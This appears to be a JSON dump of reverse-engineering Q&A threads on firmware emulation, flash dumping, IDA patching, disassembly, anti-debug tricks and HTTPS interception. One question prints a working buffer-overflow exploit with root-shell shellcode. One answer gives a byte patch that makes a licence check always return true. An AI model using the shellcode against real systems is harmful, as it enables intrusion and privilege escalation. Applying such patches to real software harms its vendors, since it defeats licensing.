        "Body": "<p>I've come across multiple questions/tutorials about QEMU emulation of devices running some sort of Linux/Busybox operating system and a file system. However, I'm seeking ways to run ARM-based firmware of embedded devices using QEMU using the extracted image file. </p>\n\n<p>At this moment, I've been trying multiple time using something like:</p>\n\n<pre><code>qemu-system-arm -machine versatilepb -m 128M -option-rom MspApp.bin \n</code></pre>\n\n<p>However, in every case, I end up with a similar crash:</p>\n\n<pre><code>R00=00000000 R01=00000000 R02=00000000 R03=00000000\nR04=00000000 R05=00000000 R06=00000000 R07=00000000\nR08=00000000 R09=00000000 R10=00000000 R11=00000000\nR12=00000000 R13=00000000 R14=00000000 R15=08000000\nPSR=400001d3 -Z-- A svc32\ns00=00000000 s01=00000000 d00=0000000000000000\ns02=00000000 s03=00000000 d01=0000000000000000\ns04=00000000 s05=00000000 d02=0000000000000000\ns06=00000000 s07=00000000 d03=0000000000000000\ns08=00000000 s09=00000000 d04=0000000000000000\ns10=00000000 s11=00000000 d05=0000000000000000\ns12=00000000 s13=00000000 d06=0000000000000000\ns14=00000000 s15=00000000 d07=0000000000000000\ns16=00000000 s17=00000000 d08=0000000000000000\ns18=00000000 s19=00000000 d09=0000000000000000\ns20=00000000 s21=00000000 d10=0000000000000000\ns22=00000000 s23=00000000 d11=0000000000000000\ns24=00000000 s25=00000000 d12=0000000000000000\ns26=00000000 s27=00000000 d13=0000000000000000\ns28=00000000 s29=00000000 d14=0000000000000000\ns30=00000000 s31=00000000 d15=0000000000000000\nFPSCR: 00000000\nAborted\n</code></pre>\n\n<p>Understanding that the execution won't go very far given that I do not emulate any of the required hardware - a problem for later - I would a least like to have the device boot up.</p>\n\n<p>Currently, I've been trying on a firmware for pool automation, which from the static analysis reveals that it runs on <a href=\"https://www.mentor.com/embedded-software/nucleus/\" rel=\"nofollow noreferrer\">Nucleus RTOS</a> on a <a href=\"http://www.nxp.com/products/microcontrollers-and-processors/arm-processors/i.mx-applications-processors/i.mx28-applications-processors-integrated-power-management-unit-pmu-arm9-core:IMX28_FAMILY\" rel=\"nofollow noreferrer\">i.MX28 board</a> from NXP, based on ARM9. The firmware is composed of two files, one appears to contain the OS, a set of XML files - likely used for the user interface - and possibly a U-boot bootloader. All of these components are in the <em>MspApp.bin</em> file, which I assume is the ROM image.</p>\n\n<p>So my questions are: 1) is it possible to partially emulate embedded devices from firmware ROM images using QEMU and if so 2) what information/commands/modification would I need to have QEMU partially emulate the extracted firmware?</p>\n",
        "Title": "Emulating Non-Linux Firmware Image of Embedded Devices",
        "Tags": "|firmware|embedded|qemu|",
        "Answer": "<p>It <em>is</em> possible, but emulating the raw .bin file is almost never going to work unless it's laid out exactly like the QEMU platform you're using expects.  If the binary you want to run is statically-linked and is in a binary format that QEMU knows, you may be able to use QEMU user mode to run it, but you'll need to extract it from your binary image.  <a href=\"http://binwalk.org\" rel=\"nofollow noreferrer\">Binwalk</a> may be very useful for that.  The bootloader is probably a good candidate for user-mode emulation, or again, anything in the filesystem that is statically-linked.  A good guide is here: <a href=\"http://nairobi-embedded.org/qemu_usermode.html\" rel=\"nofollow noreferrer\">QEMU usermode, howto</a>.</p>\n\n<p>For anything that's dynamically linked and depends on the Nucleus RTOS, you'll likely have to hack on QEMU for the OS support.  That could be a timely undertaking.  If you know the memory layout and where everything in MspApp.bin is loaded to start up, you might be able to make some forward progress using the Unicorn Framework (sorry, don't yet have enough rep to post more than 2 links), although you will very quickly run into issues where the board-specific hardware isn't modeled which can quickly lead you down the rabbit hole.</p>\n\n<p>Good luck, embedded system emulation is a frustrating but rewarding undertaking.  Regardless of whether you get it working or not, you will have learned a lot by the time you're done.</p>\n"
    },
    {
        "Id": "14525",
        "CreationDate": "2017-01-30T04:03:20.147",
        "Body": "<p>After overwrite the <code>EIP</code> register, I try <code>breakpoint</code> on the function <code>strcpy()</code> and then run the program after a <code>breakpoint</code> in the <code>debugger</code>.</p>\n\n<p>Then I check the <code>ESP</code> register :</p>\n\n<pre><code>(gdb) i r esp\nesp            0xbffff268   0xbffff268\n</code></pre>\n\n<p>In <code>0xbffff268</code> I subtract address (say, <code>300</code>) :</p>\n\n<p><code>0xbffff268</code> - <code>300</code> = <code>0xbffff13c</code></p>\n\n<p>In the form of little endian = <code>\\x3c\\xf1\\xff\\xbf</code></p>\n\n<p>After the address in the calculations, the address will be used in nopsled I created</p>\n\n<p><code>NOPSLED + SHELLCODE + ESP</code></p>\n\n<p>so my exploit is :</p>\n\n<pre><code>`perl -e 'print \"\\x90\" x 200 . \"\\xb0\\x17\\x31\\xdb\\xcd\\x80\\xb0\\x0b\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\" . \"\\x3c\\xf1\\xff\\xbf\" x 45'`\n</code></pre>\n\n<p>When executed using the <code>debugger</code> and then typing <code>c</code> in the <code>debugger</code>, I get <code>Segmentation fault (core dumped)</code> at the address <code>ESP</code> register.</p>\n\n<p>Why my exploit doesn't work ?</p>\n",
        "Title": "My nopsled getting Segmentation fault (core dumped)",
        "Tags": "|x86|linux|exploit|buffer-overflow|shellcode|",
        "Answer": "<p>Stack growing downwards try adding that value, make sure your payload in a executable area and your calculations right (which we don't know how you do it). Buffer overflow doesn't mean unlimited unfragmented override, check your payload's integrity. If you can share your code we can examine and understand your problem better.</p>\n"
    },
    {
        "Id": "14534",
        "CreationDate": "2017-01-31T10:29:55.000",
        "Body": "<p>I have disassembled two armv7 files in IDA. I am trying to figure out how I can create a patch to change one to another.</p>\n\n<p>The original file has:</p>\n\n<pre><code>__text:00017B60 loc_17B60                           ; CODE XREF: sub_17384+5B2j\n__text:00017B60                                     ; sub_17384+636j\n__text:00017B60                 MOV             R0, #(aImageCheck - 0x17B6C) ;\n__text:00017B68                 ADD             R0, PC  ;\n__text:00017B6A                 BLX             _warnx\n__text:00017B6E                 MOV.W           R11, #0x50\n__text:00017B72                 B               loc_17956\n</code></pre>\n\n<p>The modified files has:</p>\n\n<pre><code>__text:00017B60 loc_17B60                           ; CODE XREF: sub_17384+5B2j\n__text:00017B60                                     ; sub_17384+636j\n__text:00017B60                 B               loc_17B16\n__text:00017B60 ; End of function sub_17384\n__text:00017B60\n__text:00017B62 ; ---------------------------------------------------------------------------\n__text:00017B62                 STR             R1, [R1,#0xC]\n__text:00017B64                 MOVT.W          R0, #0\n__text:00017B68                 ADD             R0, PC  ;\n__text:00017B6A                 BLX             _warnx\n__text:00017B6E                 MOV.W           R11, #0x50\n__text:00017B72                 B               loc_17956\n</code></pre>\n\n<p>In essence, we're forcing a branch to another address, instead of continuing.</p>\n\n<p>In IDA, when I go to the byte patch menu, I get the following for the MOV I want to change: </p>\n\n<pre><code>4D F6 C9 60 C0 F2 00 00 78 44 10 F0 46 EA 4F F0\n</code></pre>\n\n<p>In the patched file, I get the following for the new Branch:</p>\n\n<pre><code>D9 E7 C9 60 C0 F2 00 00 78 44 10 F0 46 EA 4F F0\n</code></pre>\n\n<p>The difference between both is the beginning: <code>D9 E7</code>. Does this mean <code>D9</code> is the Branch, and <code>E7</code> is the <code>loc_17B16</code>? How would you translate <code>loc_17B16</code> to the byte value?</p>\n\n<p>Any insight would be appreciated.</p>\n",
        "Title": "How to patch file by adding a branch instruction to another address in arm",
        "Tags": "|ida|disassembly|arm|patching|bin-diffing|",
        "Answer": "<p>I finally figure this out and it's almost cheating. I have searched internet and found a branch calculator application that will determine what the new bytes will be after you enter current and next instruction. After that, I just enter new bytes in IDA and branch is done.</p>\n"
    },
    {
        "Id": "14538",
        "CreationDate": "2017-01-31T15:23:15.717",
        "Body": "<p>I'm planning on dumping and reading the flash memory of a Winbond W25Q128FV chip. I've done some research and plan on buying the following tools to achieve this:</p>\n\n<ul>\n<li>Bus Pirate 3.6a</li>\n<li><a href=\"http://rads.stackoverflow.com/amzn/click/B01CRCSO2O\" rel=\"nofollow noreferrer\">Probe Cable</a></li>\n<li><a href=\"http://rads.stackoverflow.com/amzn/click/B01KLT04PA\" rel=\"nofollow noreferrer\">SOIC8 Test Clip</a></li>\n</ul>\n\n<p>I already have a soldering kit. Are these the right tools and are they sufficient to read the flash memory to my computer?</p>\n\n<p>Also, I already have an Arduino Uno and a Raspberry Pi. Can either of those be used in place of a Bus Pirate?</p>\n",
        "Title": "Dumping Flash Memory Using Bus Pirate",
        "Tags": "|dumping|flash|",
        "Answer": "<p>Sounds like you're good to go. Yes the Raspberry has a SPI interface so you can connect the Winbond to it and use the \"flashrom\" to dump it. Attach the SOIC clip to the chip and connect the pins to the Raspberry Pi respective pins:\nMISO\nMOSI\nChip Select\nClock\nGround\nAlso the appropriate voltage Vcc 3.3 or 5. Pi can provide both .</p>\n"
    },
    {
        "Id": "14543",
        "CreationDate": "2017-02-01T17:44:24.757",
        "Body": "<p>I'm trying to wire a <a href=\"https://www.winbond.com/resource-files/w25q128fv_revhh1_100913_website1.pdf\" rel=\"nofollow noreferrer\">Winbond W25Q128FV</a> to my <a href=\"https://www.raspberrypi.org/documentation/usage/gpio/\" rel=\"nofollow noreferrer\">Rasberry Pi Model 1B</a> so that I can dump the firmware. I'll be using an SOIC8 clip and probe cables.</p>\n\n<p>Here is what I'm thinking:</p>\n\n<p><strong>Flash</strong> ----- <strong>rPi</strong></p>\n\n<p>CS ----- CS0</p>\n\n<p>DO ----- MISO</p>\n\n<p>WP ----- ??</p>\n\n<p>GND ----- GND</p>\n\n<p>VCC ----- 3V3</p>\n\n<p>HOLD ----- ??</p>\n\n<p>CLK ----- SCLK</p>\n\n<p>DI ----- MOSI</p>\n\n<p>I've read that WP and HOLD/RESET should also be connected to 3V3, but there's only 2 3V3 pins on my pi?</p>\n",
        "Title": "Wiring Flash Chip to Raspberry Pi",
        "Tags": "|firmware|memory|flash|memory-dump|",
        "Answer": "<p>You don't need to use WP and HOLD at all. It will work without.\nYou can try without first. Is write protect enabled?</p>\n"
    },
    {
        "Id": "14547",
        "CreationDate": "2017-02-01T21:14:02.627",
        "Body": "<p>Any idea how to reverse obfuscated java code !?</p>\n",
        "Title": "Reverse-obfuscated Java code",
        "Tags": "|java|decompiler|jar|",
        "Answer": "<p>Decompilation is useful for reverse engineering, but in most cases, you won't be able to recompile the results, because compilation and decompilation are lossy processes and obfuscation exacerbates that.</p>\n\n<p>If you understand Java bytecode, a good way to edit JARs is to use a bytecode assembler/disassembler such as <a href=\"https://github.com/Storyyeller/Krakatau\" rel=\"nofollow noreferrer\">Krakatau</a>. Since this operates directly at the level of compiled bytecode, you can edit any Java classfiles, no matter how obfuscated, and you don't have to worry about compiler errors.</p>\n"
    },
    {
        "Id": "14549",
        "CreationDate": "2017-02-01T22:22:20.000",
        "Body": "<p>This windows application checks the available disk space when an attempt is made to enable a feature.</p>\n\n<p>The error message can be translated into \"You need 2145461018 more bytes to load this tileset.</p>\n\n<p>Choosing other tilesets might even yield a message claiming that a negative amount of bytes is needed. This could indicate a buffer overflow. Notice the window title \"Error space on disk\".</p>\n\n<p>I would like to disable that memory check using the simplest method possible, but I am willing to disassemble it despite having next to zero knowledge which winapi calls are using to check the free disk space. I am grateful for any hint!</p>\n\n<p>I already tried the compatibility options on the shortcut properties, which didn't help.</p>\n\n<p>The error can also be reproduced in a vm guest with windows.</p>\n\n<p>PE Explorer shows this is a WIN32 GUI app with a subsystem version 3.10</p>\n\n<p><a href=\"https://i.stack.imgur.com/owmTL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/owmTL.png\" alt=\"application screenshot from vm\"></a></p>\n",
        "Title": "How to bypass this old windows application's free disk space check?",
        "Tags": "|windows|winapi|",
        "Answer": "<p>Apparently creating a ramdisk was enough to fool the application. I used the tool ImDisk and mounted a 50MB disk on which I installed the application.</p>\n"
    },
    {
        "Id": "14551",
        "CreationDate": "2017-02-02T07:16:41.127",
        "Body": "<p>I'm trying to learn Reverse Engineering, at this time I compile C++ code without any optimization and see the correspond assembly in IDA's disassembler, but there are some parts of the code, where I can not guess what happens.\nThere are some questions in the Assembly code below.</p>\n\n<p>C++ code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string&gt;\n\nvoid fillarray(int is[11], int size)\n{\n    for (int i = 0; i &lt; size; ++i)\n    {\n        is[i] = i;\n    }\n}\n\nint main()\n{\n    char* chr = \"First\";\n    std::string m = \"Secdond\";\n\n    static int arr[11];\n\n    std::string m1 = \"Third\";\n\n    auto size = sizeof(arr) / sizeof(arr[0]);\n\n    fillarray(arr, size);\n\n    int num = 11;\n\n    printf_s(\"%d\", num);\n\n\n    getchar();\n\n    return 0;\n}\n</code></pre>\n\n<p>The main function in IDA:</p>\n\n<pre><code>.text:00401E20\n.text:00401E20\n.text:00401E20 ; Attributes: bp-based frame\n.text:00401E20\n.text:00401E20 ; int __cdecl main(int argc, const char **argv, const char **envp)\n.text:00401E20 main proc near\n.text:00401E20\n.text:00401E20 First_via_char= dword ptr -50h\n.text:00401E20 var_4C= dword ptr -4Ch\n.text:00401E20 var_eleven= dword ptr -48h\n.text:00401E20 size= dword ptr -44h\n.text:00401E20 Second_via_str= byte ptr -40h\n.text:00401E20 Third_via_str= byte ptr -28h\n.text:00401E20 CANARY= dword ptr -10h\n.text:00401E20 var_C= dword ptr -0Ch\n.text:00401E20 var_4= dword ptr -4\n.text:00401E20 argc= dword ptr  8\n.text:00401E20 argv= dword ptr  0Ch\n.text:00401E20 envp= dword ptr  10h\n.text:00401E20\n.text:00401E20 push    ebp\n.text:00401E21 mov     ebp, esp\n.text:00401E23 push    0FFFFFFFFh\n.text:00401E25 push    offset sub_402D20\n.text:00401E2A mov     eax, large fs:0         // what is this? I know that fs:0 is to access PEB, but why this code uses this? \n.text:00401E30 push    eax\n.text:00401E31 sub     esp, 44h\n.text:00401E34 mov     eax, ___security_cookie\n.text:00401E39 xor     eax, ebp\n.text:00401E3B mov     [ebp+CANARY], eax       // I thinks it's CANARY\n.text:00401E3E push    eax\n.text:00401E3F lea     eax, [ebp+var_C]       // what is var_C for?\n.text:00401E42 mov     large fs:0, eax        // At this moment, var_C is uninitialized. How and why programm need this?\n.text:00401E48 mov     [ebp+First_via_char], offset aFirst ; \"First\"\n.text:00401E4F push    offset aSecdond ; \"Secdond\"\n.text:00401E54 lea     ecx, [ebp+Second_via_str]\n.text:00401E57 call    basic_string\n.text:00401E5C mov     [ebp+var_4], 0\n.text:00401E63 push    offset aThird   ; \"Third\"\n.text:00401E68 lea     ecx, [ebp+Third_via_str]\n.text:00401E6B call    basic_string\n.text:00401E70 mov     byte ptr [ebp+var_4], 1      // what is var_4?\n.text:00401E74 mov     [ebp+size], 0Bh\n.text:00401E7B mov     eax, [ebp+size]\n.text:00401E7E push    eax\n.text:00401E7F push    offset unk_404098 ; address of arrary\n.text:00401E84 call    fill_array_function\n.text:00401E89 add     esp, 8\n.text:00401E8C mov     [ebp+var_eleven], 0Bh\n.text:00401E93 mov     ecx, [ebp+var_eleven]\n.text:00401E96 push    ecx\n.text:00401E97 push    offset aD       ; \"%d\"\n.text:00401E9C call    printf\n.text:00401EA1 add     esp, 8\n.text:00401EA4 call    ds:getchar\n.text:00401EAA mov     [ebp+var_4C], 0\n.text:00401EB1 mov     byte ptr [ebp+var_4], 0\n.text:00401EB5 lea     ecx, [ebp+Third_via_str]\n.text:00401EB8 call    sub_401270                    // What is this? I think it's destructor, but I'm not sure.\n.text:00401EBD mov     [ebp+var_4], 0FFFFFFFFh\n.text:00401EC4 lea     ecx, [ebp+Second_via_str]\n.text:00401EC7 call    sub_401270                    // Destructor?\n.text:00401ECC mov     eax, [ebp+var_4C]             // what is var_4C?\n.text:00401ECF mov     ecx, [ebp+var_C]              // var_C?\n.text:00401ED2 mov     large fs:0, ecx\n.text:00401ED9 pop     ecx\n.text:00401EDA mov     ecx, [ebp+CANARY]\n.text:00401EDD xor     ecx, ebp\n.text:00401EDF call    sub_401F68\n.text:00401EE4 mov     esp, ebp\n.text:00401EE6 pop     ebp\n.text:00401EE7 retn\n.text:00401EE7 main endp\n.text:004\n</code></pre>\n",
        "Title": "Assembly and C++",
        "Tags": "|disassembly|assembly|c++|c|patch-reversing|",
        "Answer": "<p>The parts you've commented are mostly related to exception handling. The compiler has to guard for possible exceptions which may happen at any time, even if your program does not explicitly use exceptions. In particular, <code>var_4</code> is the so-called \"trylevel\" of the current execution point and <code>var_C</code> is the exception registration record for the SEH mechanism. <code>CANARY</code> is indeed the stack overflow protection canary (\"cookie\" in MSVC terminology).</p>\n\n<p>You can find more details in <a href=\"http://www.openrce.org/articles/full_view/21\" rel=\"nofollow noreferrer\">my OpenRCE article</a> on the topic.</p>\n\n<p>P.S. <code>var_4C</code> is just a temporary variable used to store the return value of the function (0). It is saved because the destruction of the strings has to happen  after the return statement but before the actual return from the function.</p>\n"
    },
    {
        "Id": "14553",
        "CreationDate": "2017-02-02T10:10:42.270",
        "Body": "<p>I've been disassembling an MS-DOS EXE and I've been using this link <a href=\"http://www.delorie.com/djgpp/doc/exe/\" rel=\"nofollow noreferrer\">http://www.delorie.com/djgpp/doc/exe/</a> to make heads and tails of the binary.</p>\n\n<p>The header seems to be an older version compared to the headers that precede the PE segment found in today's modern Windows executables.</p>\n\n<p>I've been using nasm's (Disassembler), but the program is not as complex as IDA Pro. Finding it hard to find main function entry point, especially with the disassembler engine working on an offset based logic to determine the decoding per instruction and due to the nature I'm also not familiar with the standard.</p>\n\n<p>I'm assuming the IP field in the MS-DOS could be the main function entry point of the executable and was hoping someone or somebody could confirm my speculations.</p>\n",
        "Title": "Disassembling an MS-DOS EXE",
        "Tags": "|disassembly|x86|executable|dos-exe|",
        "Answer": "<p>The header IP of MSEXE file compiled by C/C++ point to the language runtime initial code that will call main function later. So if you wanna find out the main, you need trace it or read the crt code in clib or src file.</p>\n"
    },
    {
        "Id": "14559",
        "CreationDate": "2017-02-02T18:36:52.810",
        "Body": "<p>Sorry, I'm quite new to assembly, and I'm trying to make the code bellow return true:</p>\n\n<pre><code>.text:1000E3E0 ; =============== S U B R O U T I N E =======================================\n.text:1000E3E0\n.text:1000E3E0\n.text:1000E3E0 ; bool __thiscall LicenseChecker::LicenseCheckerPlugin::hasValidLicense(LicenseChecker::LicenseCheckerPlugin *__hidden this)\n.text:1000E3E0                 public ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ\n.text:1000E3E0 ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ proc near\n.text:1000E3E0                                         ; DATA XREF: .rdata:off_10024D68o\n.text:1000E3E0                 mov     eax, [ecx+0Ch]\n.text:1000E3E3                 mov     al, [eax+20h]\n.text:1000E3E6                 retn\n.text:1000E3E6 ?hasValidLicense@LicenseCheckerPlugin@LicenseChecker@@QAE_NXZ endp\n.text:1000E3E6\n.text:1000E3E6 ; ---------------------------------------------------------------------------\n</code></pre>\n\n<p>On a \"crackme\". I heard somewhere that 1 returns true, but no idea on how to do it.\nI searched the web, but I simply couldn't understand what to do. I'm used to high-level programming languages, so assembly confuses me a lot.\nSorry for asking for such a simple thing.</p>\n",
        "Title": "Make this function return true",
        "Tags": "|ida|disassembly|assembly|patching|",
        "Answer": "<pre><code>mov al, 0x1\ntest al, al\nret\n</code></pre>\n<p>In binary: <code>B0 01 84 C0 C3</code></p>\n<p>Set <code>al</code> to 1, then <code>AND</code> with itself. The result is always 1, so <code>ZF</code> is always zero. Quite trivial, but gets the job done. Patch at the beginning so you don't have to fill leftover bytes with <code>nop</code> instructions.</p>\n"
    },
    {
        "Id": "14569",
        "CreationDate": "2017-02-04T18:06:43.510",
        "Body": "<p>IDA Pro 6.95. From the menu I can use Edit... Export data... C unsigned char array (hex).</p>\n\n<p>I want to do this in a Python script without rewriting what already works.</p>\n\n<p>I have looked for a way to find a list of the commands I have performed through the GUI menus, but export data is not the sort of thing that appears in an IDC file.</p>\n",
        "Title": "IDA Pro Export C style array using Python instead of GUI menu",
        "Tags": "|ida|idapython|array|",
        "Answer": "<p>Because this is a relatively basic functionality, there's not builtin way to call that command from IDAPython. You could do some Qt trickery to fake that GUI menu being clicked by the user, but that seems too much effort.</p>\n\n<p>To me it seems as if the easiest and cleanest solution here is to simply call <code>idaapi.get_many_bytes</code> to get the buffer of data you're interesting in dumping, and then format it however you'd like.</p>\n\n<p>for example, the following code snippet will output the binary data as a hexadecimal string:</p>\n\n<pre><code>buf = idaapi.get_many_bytes(start, end)\nbuf.encode('hex')\n</code></pre>\n\n<p>Or to get a c-like array:</p>\n\n<pre><code>buf = idaapi.get_many_bytes(start, end)\nbuf = buf.encode('hex')\ntwo_hex_char_seq = map(operator.add, buf[::2], buf[1::2])\nc_array = \"{0x\" + \", 0x\".join(two_hex_char_seq) + \"}\"\n</code></pre>\n\n<p>Which will give an output similar to:</p>\n\n<pre><code>{0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30}\n</code></pre>\n"
    },
    {
        "Id": "14572",
        "CreationDate": "2017-02-04T23:03:44.380",
        "Body": "<p>I want to sniff and decrypt HTTPS traffic of apps that ignore system proxy setting on macOS. If I understand correctly, common tools like Charles cannot help. How could I achieve that?</p>\n",
        "Title": "How to sniff HTTPS traffic of apps that ignore system proxy setting?",
        "Tags": "|sniffing|https-protocol|",
        "Answer": "<p>Get mitmproxy running. Set up that as the proxy for HTTP and HTTPS. Then load a web browser and to go <a href=\"http://mitm.it\" rel=\"nofollow noreferrer\">http://mitm.it</a> and download the newly generated certificate. Double click the file you just downloaded. Then within Keychains you'll want to tell the system to trust that cert (\"always trust\"). \nThen what I typically do is set the Router to the IP of the host running mitmproxy. Run mitmproxy with the transparent settings (-T) I believe.</p>\n"
    },
    {
        "Id": "14574",
        "CreationDate": "2017-02-05T12:44:18.027",
        "Body": "<p>I want to modify my ZyXEL P-2812HNU-F1 dsl router by storing some extra files in /etc. However, /etc is mounted as tmpfs so changes are lost on reboot. But there's probably a way around it ;)</p>\n\n<pre><code># cat /proc/mounts \nrootfs / rootfs rw 0 0\n/dev/root / yaffs2 ro,relatime 0 0\ntmpfs /etc tmpfs rw,relatime 0 0\n[..snip..]\n/dev/mtdblock4 /mnt/Config yaffs2 rw,relatime 0 0\n/dev/mtdblock3 /mnt/firmware yaffs2 rw,relatime 0 0\n\n# touch /am-i-really-mounted-rw\ntouch: /am-i-really-mounted-rw: Read-only file system\n\n# cat /proc/mtd \ndev:    size   erasesize  name\nmtd0: 01e00000 00020000 \"rootfs,kernel1\"\nmtd1: 01e00000 00020000 \"rootfs,kernel2\"\nmtd2: 00ac0000 00020000 \"reserve\"\nmtd3: 02cc0000 00020000 \"firmware\"\nmtd4: 00aa0000 00020000 \"config\"\nmtd5: 00040000 00020000 \"mrd_cert1\"\nmtd6: 00040000 00020000 \"mrd_cert2\"\n\n# cat /proc/cmdline \nroot=/dev/mtdblock0 rootfstype=yaffs2 console=ttyS0,115200 phym=128M mem=126M panic=1 vpe1_load_addr=0x87e00000M vpe1_mem=2M vpe1_wired_tlb_entries=0 \n\n# uname -a\nLinux router 2.6.32.42 #25 Mon Oct 5 14:41:26 CST 2015 mips unknown\n</code></pre>\n\n<p>So,</p>\n\n<ol>\n<li>Why is / mounted rw but actually read-only?</li>\n<li>Why are there two rootfs/kernel partitions? So the router can flash itself while running and then switch to the other upon boot?</li>\n<li>Can I safely copy the running kernel/rootfs to the other mtdblock by using dd? </li>\n<li>How do I boot from the other mtblock? I got a USB FTDI cable already.</li>\n<li>Or, is there another way to write persistent files to /etc here?</li>\n</ol>\n",
        "Title": "How to store files on a router's NAND without writing the whole firmware",
        "Tags": "|firmware|linux|",
        "Answer": "<p>Alright, so thanks to Arkadiusz' comment, I figured out that all I had to do was <code>mount /dev/root / -o remount,rw -t yaffs2</code> and presto, writable root!</p>\n"
    },
    {
        "Id": "14576",
        "CreationDate": "2017-02-05T19:59:17.900",
        "Body": "<p>I saw a very similar question about this on macOS just 20hrs ago but I'm always needing to do this on Android and I keep forgetting the name of the app. So this is just for reference.</p>\n",
        "Title": "How to sniff HTTPS traffic of Android apps that ignore the system proxy setting?",
        "Tags": "|android|sniffing|https-protocol|",
        "Answer": "<h2>Drony</h2>\n\n<p>Acts as a local VPN and redirects <strong>all</strong> traffic to a HTTP proxy. Its meant to be used with Orbot (TOR for Android) but can just as easily be used for this purpose using something like Fiddler to act as proxy server.</p>\n\n<p><a href=\"https://play.google.com/store/apps/details?id=org.sandroproxy.drony&amp;hl=en_GB\" rel=\"nofollow noreferrer\">Android App Store</a></p>\n"
    },
    {
        "Id": "14581",
        "CreationDate": "2017-02-06T12:44:05.700",
        "Body": "<p>I'm trying to decompile an unknown Win32 executable using ILSpy. However, it only answers by giving me the useless message: \n<code>This file does not contain a managed assembly.</code></p>\n\n<p>I have also tried to use other tools like <em>dotPeek64</em> and <em>Teleirik</em> without success. Virustotal tell me that it is using: </p>\n\n<pre><code>[+] COMCTL32.dll\n[+] ComMgr.dll\n[+] KERNEL32.dll\n[+] MSVCP90.dll\n[+] MSVCR90.dll\n[+] OLEAUT32.dll\n[+] SHLWAPI.dll\n[+] USER32.dll\n[+] mfc90.dll\n</code></pre>\n\n<p><strike>I'm pretty sure it is made with .NET</strike>, since this XML is present in the code:</p>\n\n\n\n<pre><code>&lt;assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"&gt;\n  &lt;trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\"&gt;\n    &lt;security&gt;\n      &lt;requestedPrivileges&gt;\n        &lt;requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"&gt;&lt;/requestedExecutionLevel&gt;\n      &lt;/requestedPrivileges&gt;\n    &lt;/security&gt;\n  &lt;/trustInfo&gt;\n  &lt;dependency&gt;\n    &lt;dependentAssembly&gt;\n      &lt;assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"removed\"&gt;&lt;/assemblyIdentity&gt;\n    &lt;/dependentAssembly&gt;\n  &lt;/dependency&gt;\n  &lt;dependency&gt;\n    &lt;dependentAssembly&gt;\n      &lt;assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.MFC\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"removed\"&gt;&lt;/assemblyIdentity&gt;\n    &lt;/dependentAssembly&gt;\n  &lt;/dependency&gt;\n&lt;/assembly&gt;\n</code></pre>\n\n<p>Also note that I'm using Win8 and do not have VS installed. So my questions are: </p>\n\n<ol>\n<li><strong>What do I need to do to resolve the above error?</strong></li>\n<li><strong>What am I missing if anything?</strong></li>\n<li><strong>How can I check if I have those *.dll's listed?</strong></li>\n</ol>\n\n<p>EDIT: I'm now thinking it was made with plain C++...</p>\n",
        "Title": "What to do with ILSpy error \"This file does not contain a managed assembly\"?",
        "Tags": "|windows|decompilation|.net|",
        "Answer": "<p>This looks like a Win32 executable, .NET executables typically imports _CorExeMain from mscoree.dll. You can use an identification tool like PEiD or Detect It Easy to confirm it.</p>\n"
    },
    {
        "Id": "14594",
        "CreationDate": "2017-02-07T16:17:58.573",
        "Body": "<p>I find myself playing in strange territory lately, venturing far outside my comfort zone to test some theories. At present I want to return <code>True</code> every time a specific program calls <code>IsDebuggerPresent</code>, without actually debugging the program.</p>\n\n<p>Since I'm not a software developer, I'd really rather avoid writing code to do API hooking. My next thought was to use a modified <code>kernel32.dll</code> in the same directory as the program, counting on \"DLL Load Order Hijacking\". So... I modified a copy of the dll, essentially replacing the export for <code>IsDebuggerPresent</code> with <code>mov eax, 1</code></p>\n\n<p>If I open the DLL in IDA and examine the export, it shows exactly the code I patched in, but if I run the executable, when it makes the call to <code>IsDebuggerPresent</code> the same address I modified instead shows a JMP to the proper <code>IsDebuggerPresent</code> instructions.</p>\n\n<p>Is what I'm trying to do even feasible, or do I have to do API hooking to make it work? I'm Really looking for a simple POC, so again, I'd prefer not to have to figure out a metric buttload of C++ just to test a theory.</p>\n",
        "Title": "Modifying Windows DLLs",
        "Tags": "|c++|dll|function-hooking|",
        "Answer": "<p>You could attempt the indirect route instead. <code>IsDebuggerPresent()</code> merely checks the respective field in the <a href=\"http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_combined.html\" rel=\"nofollow noreferrer\">Process Environment Block (PEB)</a> to find out whether a process is being debugged.</p>\n<p>So instead of modifying a single function from a particular DLL to return the result, you could manipulate the source used by said function to retrieve its result (yes, there are other functions that consult this very data field).</p>\n<p>Looking at a recent version of <code>kernelbase.dll</code> (10.0.19041.804) we find via IDA:</p>\n<pre><code>IsDebuggerPresent proc near\n                mov     rax, gs:60h\n                movzx   eax, byte ptr [rax+2]\n                retn\nIsDebuggerPresent endp\n</code></pre>\n<p>... which in its annotated form would be something like:</p>\n<pre><code>IsDebuggerPresent proc near\n                mov     rax, gs:60h     ; address to PEB\n                movzx   eax, [rax+PEB.BeingDebugged]\n                retn\nIsDebuggerPresent endp\n</code></pre>\n<p>... and as pseudo-code:</p>\n<pre><code>BOOL __stdcall IsDebuggerPresent()\n{\n  return NtCurrentPeb()-&gt;BeingDebugged;\n}\n</code></pre>\n<p>Simply modifying the &quot;remote&quot; PEB would be one way of achieving what you want.</p>\n<p>In order to retrieve the &quot;remote&quot; PEB you can use</p>\n<p><a href=\"https://github.com/processhacker/phnt/blob/master/ntpsapi.h#L307\" rel=\"nofollow noreferrer\"><code>PROCESS_BASIC_INFORMATION::PebBaseAddress</code></a> (enum member <code>ProcessBasicInformation</code>) via <a href=\"https://github.com/processhacker/phnt/blob/master/ntpsapi.h#L1301\" rel=\"nofollow noreferrer\"><code>NtQueryInformationProcess()</code></a> whose declarations you should also be able to glean from the <code>winternl.h</code> header which is part of modern Windows SDKs. 